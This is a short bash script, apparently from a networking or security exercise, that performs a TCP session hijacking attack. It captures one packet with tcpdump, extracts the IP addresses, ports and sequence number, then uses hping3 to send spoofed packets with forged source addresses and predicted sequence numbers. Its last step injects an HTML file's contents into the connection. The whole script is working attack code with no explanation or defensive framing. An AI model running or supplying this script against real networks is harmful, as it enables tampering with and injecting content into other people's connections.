#! /bin/bash
tcpdump -A -i eth0 -nvXSs 0 -c1 tcp | grep cksum | grep  Flags | head -n 1 | cut -c5-130 > ficheroAux
ip1=$(cut -d' ' -f1 ficheroAux | cut -d. -f1-4)
port1=$(cut -d' ' -f1 ficheroAux| cut -d. -f5)
ip2=$(cut -d: -f1 ficheroAux | cut -d' ' -f2- |cut -d. -f1-4 | cut -c3-15)
port2=$(cut -d: -f1 ficheroAux | cut -d. -f9)
seqnum=$(cut -dq -f2 ficheroAux | cut -c2-11 | cut -d, -f1)

((seqnumInc = seqnum + 1))
hping3 -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567890 -L $seqnumInc -S -A -c 1
((seqnumInc2 = seqnumInc + 1))
hping3 -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567891 -L $seqnumInc2 -A -c 1
hping3 -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567891 -L $seqnumInc2 -A -P -c 1 -d 500 -E miFichero.html
rm ficheroAux
